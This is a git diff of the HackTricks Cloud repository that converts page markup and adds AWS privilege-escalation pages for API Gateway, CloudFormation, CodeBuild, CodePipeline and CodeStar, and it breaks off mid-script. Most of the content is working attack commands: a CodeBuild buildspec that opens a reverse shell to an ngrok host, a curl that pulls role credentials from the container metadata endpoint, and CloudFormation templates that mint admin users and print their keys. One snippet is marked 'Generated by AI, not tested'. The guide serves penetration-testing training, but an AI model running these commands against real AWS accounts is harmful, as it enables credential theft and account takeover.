 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -104,15 +84,13 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-{% endcode %}
 
 **Potential Impact**: Bypassing security checks, unauthorized access to API resources.
 
 ### `apigateway:UpdateVpcLink`
 
-{% hint style="info" %}
-Need testing
-{% endhint %}
+> [!NOTE]
+> Need testing
 
 An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**.
 
@@ -126,17 +104,4 @@ aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=
 
 **Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
new file mode 100644
index 000000000..f4e2282e8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+TODO
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
similarity index 59%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index f81096943..d205cf1ad 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -1,27 +1,14 @@
 # AWS - Cloudformation Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## cloudformation
 
 For more information about cloudformation check:
 
-{% content-ref url="../../aws-services/aws-cloudformation-and-codestar-enum.md" %}
-[aws-cloudformation-and-codestar-enum.md](../../aws-services/aws-cloudformation-and-codestar-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
 
 ### `iam:PassRole`, `cloudformation:CreateStack`
 
@@ -35,9 +22,9 @@ aws cloudformation create-stack --stack-name <stack-name> \
 
 In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**:
 
-{% content-ref url="iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md" %}
-[iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md](iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
-{% endcontent-ref %}
+{{#ref}}
+iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+{{#endref}}
 
 **Potential Impact:** Privesc to the cloudformation service role specified.
 
@@ -51,7 +38,7 @@ aws cloudformation update-stack \
     --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
     --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
     --capabilities CAPABILITY_IAM \
-    --region eu-west-1 
+    --region eu-west-1
 ```
 
 The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.
@@ -126,19 +113,6 @@ An attacker could abuse this permission without the passRole permission to updat
 
 ## References
 
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
new file mode 100644
index 000000000..47f709078
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -0,0 +1,81 @@
+# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like:
+
+```json
+{
+  "Resources": {
+    "AdminUser": {
+      "Type": "AWS::IAM::User"
+    },
+    "AdminPolicy": {
+      "Type": "AWS::IAM::ManagedPolicy",
+      "Properties": {
+        "Description": "This policy allows all actions on all resources.",
+        "PolicyDocument": {
+          "Version": "2012-10-17",
+          "Statement": [
+            {
+              "Effect": "Allow",
+              "Action": ["*"],
+              "Resource": "*"
+            }
+          ]
+        },
+        "Users": [
+          {
+            "Ref": "AdminUser"
+          }
+        ]
+      }
+    },
+    "MyUserKeys": {
+      "Type": "AWS::IAM::AccessKey",
+      "Properties": {
+        "UserName": {
+          "Ref": "AdminUser"
+        }
+      }
+    }
+  },
+  "Outputs": {
+    "AccessKey": {
+      "Value": {
+        "Ref": "MyUserKeys"
+      },
+      "Description": "Access Key ID of Admin User"
+    },
+    "SecretKey": {
+      "Value": {
+        "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"]
+      },
+      "Description": "Secret Key of Admin User"
+    }
+  }
+}
+```
+
+Then **generate the cloudformation stack**:
+
+```bash
+aws cloudformation create-stack --stack-name privesc \
+    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
+    --role arn:aws:iam::[REDACTED]:role/adminaccess \
+    --capabilities CAPABILITY_IAM --region us-west-2
+```
+
+**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**:
+
+```bash
+aws cloudformation describe-stacks \
+    --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
+    --region uswest-2
+```
+
+### References
+
+- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
similarity index 70%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 043bba875..b84aa8b1f 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -1,35 +1,22 @@
 # AWS - Codebuild Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## codebuild
 
 Get more info in:
 
-{% content-ref url="../aws-services/aws-codebuild-enum.md" %}
-[aws-codebuild-enum.md](../aws-services/aws-codebuild-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-codebuild-enum.md
+{{#endref}}
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
 Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project:
 
-{% tabs %}
-{% tab title="StartBuild" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="StartBuild" }}
+
 ```bash
 cat > /tmp/buildspec.yml <<EOF
 version: 0.2
@@ -42,11 +29,11 @@ EOF
 
 aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="StartBuildBatch" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="StartBuildBatch" }}
+
 ```bash
 cat > /tmp/buildspec.yml <<EOF
 version: 0.2
@@ -71,14 +58,14 @@ EOF
 
 aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Note**: The difference between these two commands is that:
 
-* `StartBuild` triggers a single build job using a specific `buildspec.yml`.
-* `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).
+- `StartBuild` triggers a single build job using a specific `buildspec.yml`.
+- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).
 
 **Potential Impact:** Direct privesc to attached AWS Codebuild roles.
 
@@ -86,8 +73,9 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 
 An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
 
-{% tabs %}
-{% tab title="Example1" %}
+{{#tabs }}
+{{#tab name="Example1" }}
+
 ```bash
 # Enumerate then env and get creds
 REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
@@ -129,10 +117,11 @@ aws codebuild start-build --project-name codebuild-demo-project
 # Delete the project
 aws codebuild delete-project --name codebuild-demo-project
 ```
-{% endtab %}
 
-{% tab title="Example2" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Example2" }}
+
 ```bash
 # Generated by AI, not tested
 # Create a buildspec.yml file with reverse shell command
@@ -152,21 +141,20 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
 aws codebuild start-build --project-name reverse-shell-project
 
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact:** Direct privesc to any AWS Codebuild role.
 
-{% hint style="warning" %}
-In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
+> [!WARNING]
+> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
 
-This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
-Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
+> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
 
-Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
-{% endhint %}
+> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
@@ -212,9 +200,9 @@ aws codebuild start-build --project-name codebuild-demo-project
 
 Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**.
 
-{% tabs %}
-{% tab title="StartBuild" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="StartBuild" }}
+
 ```sh
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -249,11 +237,11 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="StartBuildBatch" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="StartBuildBatch" }}
+
 ```sh
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -286,9 +274,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build-batch --project-name codebuild-demo-project
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact:** Direct privesc to attached AWS Codebuild roles.
 
@@ -324,7 +312,7 @@ Note: the escalation is relevant only if the CodeBuild worker has a different ro
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
-vim ./buildspec.yml 
+vim ./buildspec.yml
 
 # Add the following lines in the "phases > pre_builds > commands" section
 #
@@ -340,8 +328,7 @@ aws codebuild start-build --project-name <project-name>
 
 You can use something like this **buildspec** to get a **reverse shell**:
 
-{% code title="buildspec.yml" %}
-```yaml
+```yaml:buildspec.yml
 version: 0.2
 
 phases:
@@ -349,29 +336,14 @@ phases:
     commands:
       - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-{% endcode %}
 
 **Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
 
-{% hint style="warning" %}
-Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload
-{% endhint %}
+> [!WARNING]
+> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload
 
 More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
 **Potential Impact:** Direct privesc to attached AWS Codebuild roles.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
new file mode 100644
index 000000000..884bb7fa3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+For more info about codepipeline check:
+
+{{#ref}}
+../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them.
+
+Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...)
+
+I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
+
+During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions.
+
+### `codepipeline:pollforjobs`
+
+[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
new file mode 100644
index 000000000..9dd00b43d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -0,0 +1,73 @@
+# AWS - Codestar Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Codestar
+
+You can find more information about codestar in:
+
+{{#ref}}
+codestar-createproject-codestar-associateteammember.md
+{{#endref}}
+
+### `iam:PassRole`, `codestar:CreateProject`
+
+With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page:
+
+{{#ref}}
+iam-passrole-codestar-createproject.md
+{{#endref}}
+
+### `codestar:CreateProject`, `codestar:AssociateTeamMember`
+
+This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**.
+
+```bash
+PROJECT_NAME="supercodestar"
+
+aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
+    --name $PROJECT_NAME \
+    --id $PROJECT_NAME
+
+echo "Waiting 1min to start the project"
+sleep 60
+
+USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
+
+aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
+    --project-id $PROJECT_NAME \
+    --user-arn "$USER_ARN" \
+    --project-role "Owner" \
+    --remote-access-allowed
+```
+
+If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
+
+**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
+
+{{#ref}}
+codestar-createproject-codestar-associateteammember.md
+{{#endref}}
+
+### `codestar:CreateProjectFromTemplate`
+
+1. **Create a New Project:**
+   - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project.
+     - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**.
+     - This access specifically targets a stack associated with the `CodeStarWorker-<generic project name>-CloudFormation` IAM role.
+2. **Update the Target Stack:**
+   - With the granted CloudFormation permissions, proceed to update the specified stack.
+     - The stack's name will typically conform to one of two patterns:
+       - `awscodestar-<generic project name>-infrastructure`
+       - `awscodestar-<generic project name>-lambda`
+       - The exact name depends on the chosen template (referencing the example exploit script).
+3. **Access and Permissions:**
+   - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack.
+   - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further.
+
+For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
+You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
+
+**Potential Impact:** Privesc to cloudformation IAM role.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
new file mode 100644
index 000000000..7f900c00f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -0,0 +1,81 @@
+# codestar:CreateProject, codestar:AssociateTeamMember
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+This is the created policy the user can privesc to (the project name was `supercodestar`):
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Sid": "1",
+      "Effect": "Allow",
+      "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"],
+      "Resource": [
+        "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
+        "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
+        "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
+      ]
+    },
+    {
+      "Sid": "2",
+      "Effect": "Allow",
+      "Action": [
+        "codestar:DescribeUserProfile",
+        "codestar:ListProjects",
+        "codestar:ListUserProfiles",
+        "codestar:VerifyServiceRole",
+        "cloud9:DescribeEnvironment*",
+        "cloud9:ValidateEnvironmentName",
+        "cloudwatch:DescribeAlarms",
+        "cloudwatch:GetMetricStatistics",
+        "cloudwatch:ListMetrics",
+        "codedeploy:BatchGet*",
+        "codedeploy:List*",
+        "codestar-connections:UseConnection",
+        "ec2:DescribeInstanceTypeOfferings",
+        "ec2:DescribeInternetGateways",
+        "ec2:DescribeNatGateways",
+        "ec2:DescribeRouteTables",
+        "ec2:DescribeSecurityGroups",
+        "ec2:DescribeSubnets",
+        "ec2:DescribeVpcs",
+        "events:ListRuleNamesByTarget",
+        "iam:GetAccountSummary",
+        "iam:GetUser",
+        "iam:ListAccountAliases",
+        "iam:ListRoles",
+        "iam:ListUsers",
+        "lambda:List*",
+        "sns:List*"
+      ],
+      "Resource": ["*"]
+    },
+    {
+      "Sid": "3",
+      "Effect": "Allow",
+      "Action": [
+        "codestar:*UserProfile",
+        "iam:GenerateCredentialReport",
+        "iam:GenerateServiceLastAccessedDetails",
+        "iam:CreateAccessKey",
+        "iam:UpdateAccessKey",
+        "iam:DeleteAccessKey",
+        "iam:UpdateSSHPublicKey",
+        "iam:UploadSSHPublicKey",
+        "iam:DeleteSSHPublicKey",
+        "iam:CreateServiceSpecificCredential",
+        "iam:UpdateServiceSpecificCredential",
+        "iam:DeleteServiceSpecificCredential",
+        "iam:ResetServiceSpecificCredential",
+        "iam:Get*",
+        "iam:List*"
+      ],
+      "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"]
+    }
+  ]
+}
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
new file mode 100644
index 000000000..ab8af00d1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -0,0 +1,88 @@
+# iam:PassRole, codestar:CreateProject
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.
+
+To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:
+
+```json:toolchain.json
+{
+  "Resources": {
+    "supercodestar": {
+      "Type": "AWS::IAM::ManagedPolicy",
+      "Properties": {
+        "ManagedPolicyName": "CodeStar_supercodestar",
+        "PolicyDocument": {
+          "Version": "2012-10-17",
+          "Statement": [
+            {
+              "Effect": "Allow",
+              "Action": "*",
+              "Resource": "*"
+            }
+          ]
+        },
+        "Users": ["<compromised username>"]
+      }
+    }
+  }
+}
+```
+
+Also **upload** this `empty zip` file to the **bucket**:
+
+{% file src="../../../../images/empty.zip" %}
+
+Remember that the **bucket with both files must be accessible by the victim account**.
+
+With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:
+
+```bash
+PROJECT_NAME="supercodestar"
+
+# Crecte the source JSON
+## In this JSON the bucket and key (path) to the empry.zip file is used
+SOURCE_CODE_PATH="/tmp/surce_code.json"
+SOURCE_CODE="[
+    {
+        \"source\": {
+            \"s3\": {
+                \"bucketName\": \"privesc\",
+                \"bucketKey\": \"empty.zip\"
+            }
+    },
+        \"destination\": {
+            \"codeCommit\": {
+                \"name\": \"$PROJECT_NAME\"
+            }
+        }
+    }
+]"
+printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
+
+# Create the toolchain JSON
+## In this JSON the bucket and key (path) to the toolchain.json file is used
+TOOLCHAIN_PATH="/tmp/tool_chain.json"
+TOOLCHAIN="{
+    \"source\": {
+        \"s3\": {
+            \"bucketName\": \"privesc\",
